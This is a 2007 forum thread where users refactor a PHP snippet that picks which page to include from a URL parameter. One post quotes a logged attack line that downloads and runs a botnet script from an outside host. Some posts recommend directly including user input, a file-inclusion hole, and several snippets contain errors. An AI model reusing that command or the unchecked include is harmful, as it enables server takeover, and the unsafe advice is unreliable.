1 2 3 4 5 6 7 8 9 10 11 12 13 14
<? switch($_GET['id']) { default: case "news": include "news.php"; break; case "about": include "about.php"; break; } ?>
Refactorings
No refactoring yet !
techietim
October 1, 2007, October 01, 2007 16:55, permalink
This should work. I added the in_array so they can only include certain things.
1 2 3 4 5 6 7
<? $page = $_GET['page']; $pages = array("news", "about"); if(in_array($page, $pages)){ include($page.".php"); } ?>
DeathfireD
October 1, 2007, October 01, 2007 17:07, permalink
added a check to see if $_GET['id'] is set. Also added in a else statement to display news as the default page you see when visiting index.php.
1 2 3 4 5 6 7 8 9 10 11 12
<? $page = $_GET['id']; $allowable_pages = array('news', 'about'); if (isset($page)) { if(in_array($page, $allowable_pages) && file_exists($page.'.php')){ include $page.'.php'; } } else { include 'news.php'; } ?>
Mike Cochrane
October 1, 2007, October 01, 2007 19:30, permalink
Avoid array key does not exist errors and default to the news pages if no page id, page id is invalid, or the file is not found.
1 2 3 4 5 6
<?php $allowable_pages = array('news', 'about'); $page = (isset($_GET['id']) && in_array($_GET['id'], $allowable_pages)) ? $_GET['id'] : 'news'; $page = file_exists($page . '.php') ? $page : 'news'; include $page . '.php';
DeathfireD
October 1, 2007, October 01, 2007 19:37, permalink
wow you definitely refactored that down to size. :)
leighmac
October 1, 2007, October 01, 2007 20:58, permalink
I cannot get my php codes to highlight.. :( I must need need to include the opening and closing tags I will try again.
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
<?php function content_include($page, $path = '') { if (!file_exists($path.$page.'.php') or !preg_match('{^[a-z0-9-_]{1,32}$}', strtolower($page))) { # Can't find the page or funky filename must not be allowable return false; } include $path.$page.'.php'; return true; } if(!content_include($_GET['id'], 'pages/')) { include 'pages/no_page_error.php'; }; ?>
No
October 2, 2007, October 02, 2007 01:52, permalink
Guys, you didn't refactor the code, you just made it more complicated.
Switch statement is perfectly fine for this. Why do you need to add "allowable_pages"? Or regular expressions?!
Just leave it how it is.
1 2 3 4 5 6 7 8 9 10 11 12 13
<? switch($_GET['id']) { default: case "news": include "news.php"; break; case "about": include "about.php"; break; } ?>
Moody
October 2, 2007, October 02, 2007 02:38, permalink
Hi, I know this might be a bit simple but its better practice to use single-quotes rather than double if all you want to do is deal with a string datatype. That is because having double-quotes causes php to parse the string looking for any variables to deal with. So having single-quotes saves php from doing this, hence a slight(so slight that it might not really matter but hey faster is faster...) preformance boost.
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php switch($_GET['id']) { default: case 'news': include 'news.php'; break; case 'about': include 'about.php'; break; } ?>
Mike Cochrane
October 2, 2007, October 02, 2007 02:53, permalink
@No: Yes is does require a more advanced knowledge of php to understand, and I wouldn't expect a beginner to understand it easily. If it was me it would be all one ternary operation.
A switch is a good solution and leave it was it was would be a good solution, except add a check to ensure $_GET['id'] is set so you can run with notices turned.
1 2 3 4
<?php $pages = array('news', 'about'); include (isset($_GET['id']) && in_array($_GET['id'], $pages) && file_exists($_GET['id'] . '.php')) ? $_GET['id'] . '.php' : 'default.php';
Moody
October 2, 2007, October 02, 2007 04:54, permalink
Hi, I agree with Mike Cochrane, his solution is rebust, effective and concise. Like the use of ternary operator (its too under valued ...). What I've done is taken his solution (slight change but in essence the same) and wrapped it up in a helper function ready for reuse. The helper.php file contains an array of pages and a default page and the helper_include() function. All you need to do is include the helper.php file and then call the help_include() function passing it the name of the URL variable in the case 'id'. You just need to add 2 lines of code every new page you wish to create.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php /* * file: helper.php */ $aryPages = array('news', 'about'); $strDefaultPage = 'default.php'; function helper_include ($strVar) { include ( isset($_GET[$strVar]) && in_array($_GET[$strVar], $aryPages) && file_exists($_GET[$strVar].'.php') ) ? $_GET['id'].'.php' : $strDefaultPage; } ?> <?php include 'helper.php'; helper_include ('id'); ?>
No
October 2, 2007, October 02, 2007 06:40, permalink
"Yes is does require a more advanced knowledge of php to understand, and I wouldn't expect a beginner to understand it easily. If it was me it would be all one ternary operation."
What a load of bullocks, the switch statement is really easy to understand and does exactly what it says, you can just read it and understand it even if you don't know PHP.
The switch statement also allows you to have different pages -> php files, it's secure and by far the fastest one posted here.
Why you need to run file_exists is beyond my understanding (or even a "helper.php"? helping to obfuscate?) and the "default:" is a much nicer solution than having if's.
You really need to have a look at "Keep It Simple", this code is OBVIOUSLY related to a small project with a handful of pages, and this IS how you do it in this case. Keep posting your over-engineered pseudo smart code, nothing beats the switch statement here.
Moody
October 2, 2007, October 02, 2007 09:55, permalink
What happens when a user types the following URL and tries to go to it:
[www.somesite.com/index.php?id=some-page-that-does-not-exist]
Don Wilson
October 2, 2007, October 02, 2007 10:58, permalink
Wow, you guys are making it a bit complicated. ;) Here's what I'd do... No functions, no unne
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php $pages = array ( "page1", "page2" ); $page = preg_replace ( "#(^[A-Za-z0-9\_\-]+?)#si", "", strtolower ( trim ( @$_GET['id'] ) ) ); if ( in_array ( $page, $page ) ) { include ( "./inc/" . $page . ".php" ); } else { include ( "./inc/default.php" ); } ?>
Mike Cochrane
October 2, 2007, October 02, 2007 12:47, permalink
@Moody: You'll need to global $aryPages; in the function as they're in different scopes.
@Don Wilson: Good point about the strtolower and trim.
@No: Good point about the file_exists. I'd drop that out of my code and assume that I'd only add pages that exist to the array.
No
October 2, 2007, October 02, 2007 12:50, permalink
"What happens when a user types the following URL and tries to go to it: "
default: [...] include "news.php";
"Wow, you guys are making it a bit complicated. ;) Here's what I'd do... No functions, no unne"
You are making it complicated. Why do you need to use preg_replace? strtolower? Why do you want to clean the user input? If he fiddles with the URL he doesn't need to be rewarded. Do you really want Google to pick up HOME HoME HOmE etc?
Not every code needs to be refactored.
Not ONE refactoring on this page is:
1. Faster
2. Safer
3. Easier to maintain
4. Easier to read
5. Easier to figure out when you come back to it after a couple months
Don Wilson
October 2, 2007, October 02, 2007 14:09, permalink
"No" - you do not want to keep the user from using your site. Using preg_replace allows you to remove unnecessary characters ("..", ".", "/", etc).
"Why do you want to clean the user input?"
Why wouldn't you clean an input that could be changed so easily? Especially something that you'll utilize when managing files/databases/etc.
1. Speed of code is a completely unnecessary worry in this code sniplet.
2. I made it far safer than any other modification that I've seen before.
3. It's five lines of code, not a thousand line class.
4 + 5. I don't think you have to worry too much about figuring out 5 lines of code a few months ago.
Don Wilson
October 2, 2007, October 02, 2007 14:23, permalink
Fixing typos
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php $pages = array ( "page1", "page2" ); $page = preg_replace ( "#(^[A-Za-z0-9\_\-]+?)#si", "", strtolower ( trim ( @$_GET['id'] ) ) ); if ( in_array ( $page, $pages ) && file_exists ( "./inc/" . $page . ".php" ) ) { include ( "./inc/" . $page . ".php" ); } else { include ( "./inc/default.php" ); } ?>
No
October 2, 2007, October 02, 2007 14:41, permalink
"Why wouldn't you clean an input that could be changed so easily? Especially something that you'll utilize when managing files/databases/etc."
A switch statement is a 100% bullet proof. There is no need to clean the input.
"2. I made it far safer than any other modification that I've seen before. "
Irrelevant, it doesn't get "safer" than a switch statement. All other solutions posted here can however suffer from a potential buffer overflow.
"3. It's five lines of code, not a thousand line class. 4 + 5. I don't think you have to worry too much about figuring out 5 lines of code a few months ago."
Exactly, so why refactor it?
Mike Cochrane
October 2, 2007, October 02, 2007 18:31, permalink
And just for No: the switch with a check to ensure $_GET['id'] exists first. I like to be able to run my code with the highest level of debugging on and have it run clean.
I would contest "3. Easier to maintain" and say that adding a single option to an array is easier to maintain then copying 3 lines of code and changing the value twice.
"2. Safer" both are the same 'safeness'. There is no room to exploit either - on the assumption that php's functions are safe from overflows.
If/Else version
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php if (isset($_GET['id'])) { switch($_GET['id']) { default: case 'news': include 'news.php'; break; case 'about': include 'about.php'; break; } } else { include 'news.php'; }
Ternary option
1 2 3 4 5 6 7 8 9 10 11 12
<?php $_GET['id'] = isset($_GET['id']) ? $_GET['id'] : 'news'; switch($_GET['id']) { default: case 'news': include 'news.php'; break; case 'about': include 'about.php'; break; }
DeathfireD
October 2, 2007, October 02, 2007 21:53, permalink
Mike Cochrane, would there even be a need for the "isset" when dealing with the switch statement? If you leave it out and go to index.php the "ID" is not set so the switch would use the "default:" value and direct you to index.php?id=news as you must already know. So by adding an "isset" your basically stopping the default from working, but then you added in an else statement to include a default page if "ID" is not set....so your kind of making more work for your self. At least thats how it seems in my eyes.
@NO - I agree to some extent that the original Switch statement is fine as it is, but when dealing with loads of pages to include, this might slow the switch down noticeably not to mention you're neat little switch would end up being a big blob of code that takes up most of the page. Mike Cochrane's code (that's 2 lines long) ultimately makes the code neater and easier to edit (1 line to edit as apposed to 2 in the switch). I'd probably go with Mike's. I don't know how much of a difference the speed would be so thats still up for debate I guess.
Mike Cochrane
October 2, 2007, October 02, 2007 23:50, permalink
If you develop with error_reporting set to E_ALL (and I recommend you do) you will receive a
Notice: Undefined index: id in test.php on line 2
If you just assume that it is set and don't explicitly check.
Mike Cochrane
October 3, 2007, October 03, 2007 03:45, permalink
I did a quick performance test. Using the two functions below - eliminating the file operations and returning the string instead. Run once timed, change function, timed, changed back, timed, changed to v2 again, timed.
For two pages, the switch took 49.9% of the time of my code - switch wins by heaps (15,000 calls - two runs avg of both).
For 101 pages, the switch took 49.5% of the time of my code - (255,000 calls - one run each)
So there you have it. The switch is twice as fast as my code. Take your pick :-)
FYI in 101 page test:
v3 was 107% of v2 (the ternary construct is faster in this case).
v4 was 52% of v2 (in_array is the killer in v2).
v5 was identical to v2 (v2 with array_search($_GET['id'], $pages) !== false instead of in_array)
# Test one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
function v1() {
switch($_GET['id'])
{
default:
case "news":
return "news.php";
break;
case "about":
return "about.php";
break;
}
}
function v2() {
$pages = array('news', 'about');
return (isset($_GET['id']) && in_array($_GET['id'], $pages)) ? $_GET['id'] . '.php' : 'default.php';
}
$_GET['id'] = 'news';
for ($i = 0; $i < 5000; $i++) v1();
$_GET['id'] = 'about';
for ($i = 0; $i < 5000; $i++) v1();
$_GET['id'] = '';
for ($i = 0; $i < 5000; $i++) v1();
# Test 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
function v1() {
switch($_GET['id'])
{
default:
case "news":
return "news.php";
break;
case "page1":
return "page1.php";
break;
case "page2":
return "page2.php";
break;
...
case "page99":
return "page99.php";
break;
case "about":
return "about.php";
break;
}
}
function v2() {
$pages = array('news', 'page1', 'page2', .... 'page99', 'about');
return (isset($_GET['id']) && in_array($_GET['id'], $pages)) ? $_GET['id'] . '.php' : 'default.php';
}
function v3() {
$pages = array('news', 'page1', 'page2', .... 'page99', 'about');
if (isset($_GET['id']) && in_array($_GET['id'], $pages)) {
return $_GET['id'] . '.php';
} else {
return 'default.php';
}
}
function v4() {
if (!isset($_GET['id'])) {
return "news.php";
}
switch($_GET['id'])
{
default:
case "news":
return "news.php";
break;
case "page1":
return "page1.php";
break;
case "page2":
return "page2.php";
break;
....
case "page98":
return "page98.php";
break;
case "page99":
return "page99.php";
break;
case "about":
return "about.php";
break;
}
}
function v5() {
$pages = array('news', 'page1', 'page2',. ... 'page99', 'about');
return (isset($_GET['id']) && array_search($_GET['id'], $pages) !== false) ? $_GET['id'] . '.php' : 'default.php';
}
$_GET['id'] = 'news';
for ($i = 0; $i < 2500; $i++) v1();
$_GET['id'] = 'about';
for ($i = 0; $i < 2500; $i++) v1();
$_GET['id'] = '';
for ($i = 0; $i < 2500; $i++) v1();
for ($p = 1; $p < 100; $p++) {
$_GET['id'] = 'page' . $p;
for ($i = 0; $i < 2500; $i++) v1();
}
H3lpd3sk
October 3, 2007, October 03, 2007 14:48, permalink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
<?php define('INCLUDE_DIR', '/home/_includes/'); function getPage($filename){ $filename = $filename.'.php'; if(file_exists(INCLUDE_DIR.$filename) && is_readable(INCLUDE_DIR.$filename)){ include_once(INCLUDE_DIR.$filename); } else{ # 404 header / or location } } $myId = (isset($_GET['id']) && preg_match('~(^[A-Z0-9\_\-]+?)~iD')) ? $_GET['id'] : NULL; if(isset($myId)){ switch($myId){ case 'news' : case 'about' : case 'contact' : getPage($myId); break; default : getPage('error'); break; } } else{ trigger_error('No valid id was given!', E_USER_NOTICE); } ?>
DeathfireD
October 3, 2007, October 03, 2007 15:15, permalink
Interesting, So I guess even though a switch is longer and has more places to edit its still overall faster?
Anonymous
October 3, 2007, October 03, 2007 20:38, permalink
I see no reason to put this on multiple lines.
By placing small switches on the same line it is easier to see the trends.
1 2 3 4 5 6 7
<? switch($_GET['id']) { default: case "news": include "news.php"; break; case "about": include "about.php"; break; } ?>
berry__
October 4, 2007, October 04, 2007 11:07, permalink
I do agree with Anonymous, although you can obviously do the isset() and default in one single, readable statement. Also, I agree with mister No, don't overcomplicate thinks if it's not necessary. This is not code to refactor.
1 2 3 4 5 6 7 8 9
<?php /** First, make sure $_GET['id'] is set, it's called good practice. **/ $page = ( isset( $_GET['id'] ) ) ? $_GET['id'] ? 'news'; switch( $page ) { case 'news': include 'news.php'; break; case 'about': include 'about.php'; break; } ?>
Don Wilson
October 4, 2007, October 04, 2007 15:34, permalink
berry___, instead of the first line setting $page, put in a default: at the bottom of the switch.
1 2 3 4 5 6 7
<?php switch( trim ( strtolower ( $_GET['id'] ) ) ) { case 'news': include 'news.php'; break; case 'about': include 'about.php'; break; default: include 'news.php'; } ?>
Mlopez
October 4, 2007, October 04, 2007 17:16, permalink
so... what way should i do it (not sure what changes are correct and what ways actually work)
Mlopez
October 4, 2007, October 04, 2007 17:28, permalink
also here is code that i currently use,
after reading through all of your code and comments, i guess i need to make it more secure
1 2 3 4 5
<?php $page = $_GET['page']; if(file_exists("$page.php")) include("$page.php"); else header( 'Location: http://www.example.com/index.php?page=main' ); ?>
DeathfireD
October 4, 2007, October 04, 2007 18:29, permalink
They all work, but it appears a switch is the fastest (at least thats what Mike Cochrane's test showed). So you could use any method you want.
@Don Wilson - Wouldn't you want the default to be at the top? This way if someone doesn't go to a specific page, php doesn't have to go through the whole list.
Jalenack
October 4, 2007, October 04, 2007 22:25, permalink
in_array is slow, but you can still use an array. All you have to do is use array keys instead of array values. The advantage with arrays remains...there's slightly less repetition here than with a switch statement. This should be faster than in_array implementations:
1 2 3 4 5 6
<?php $page = ( isset( $_GET['id'] ) ) ? $_GET['id'] ? 'news'; // if the `=> 0` bothers you, use array_flip instead $pages = array('news' => 0, 'about' => 0); include isset($pages[$page]) ? $page.'.php' : 'news.php'; ?>
Steve
October 8, 2007, October 08, 2007 13:39, permalink
1 2 3 4 5 6 7 8
<?php $page = ( isset( $_GET['id'] ) ) ? $_GET['id'] ? 'news'; switch( $page ) { case 'news': case 'about': include $page.'.php'; break; } ?>
EllisGL
October 8, 2007, October 08, 2007 14:07, permalink
I like how clean the Switch statement is, but if you want the absolute best performance; use the if/elseif/else statement and triple equals.
1 2 3 4 5 6 7 8 9 10 11 12
if($page === 'news')
{
include 'news.php';
}
elseif($page === 'about')
{
include 'about.php';
}
else
{
include '404.html';
}
EllisGL
October 8, 2007, October 08, 2007 14:10, permalink
Or you could do this:
1 2 3 4
if(ffile_exists($page))
{
include $page;
}
GCMartijn
October 9, 2007, October 09, 2007 12:34, permalink
@ EllisGL
Warning with your code its possible to hack the webserver.
I had this in my apache log (see code)
If you want to use that code you must run php in safe mode and/or have apache mod_secure
1 2 3 4
www.adomainname.ext 189.24.211.51 - - [03/Oct/2007:20:42:28 +0200] "GET /index.php?link=http://www.jungo8949.co.kr/tool25.txt?&cmd=cd%20/tmp;rm%20botnet.txt;wget%20http://fuckoff.no-ip.org/botnet.txt;fetch%20http://fuckoff.no-ip.org/botnet.txt;lwp-download%20http://fuckoff.no-ip.org/botnet.txt;curl%20-O%20http://fuckoff.no-ip.org/botnet.txt;lynx%20http://fuckoff.no-ip.org/botnet.txt;perl%20botnet.txt HTTP/1.1" 200 7686 "-" "Mozilla/3.0 (compatible; Indy Library)"
Todd Dickerson
October 11, 2007, October 11, 2007 06:08, permalink
The shortest option and the best option
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php include $_GET['id'].".php"; ?> or if you want to give an alternative error page or message <?php if(@include $_GET['id'].".php"){ }else{ include "errorpage.php"; } ?>
hubfactor
April 11, 2008, April 11, 2008 21:30, permalink
1 2 3 4 5
<?php $id = $_GET['id'] ? $_GET['id'] : 'news'; // default = 'news' $file = "includes/$id.php"; if (strpos($id, '/') !== FALSE || !file_exists($file)) die('Naughty!'); // no directory traversal or missing files allowed include $file;
a simple way to include different pages to the index page with urls like index.php?id=news, index.php?id=about...etc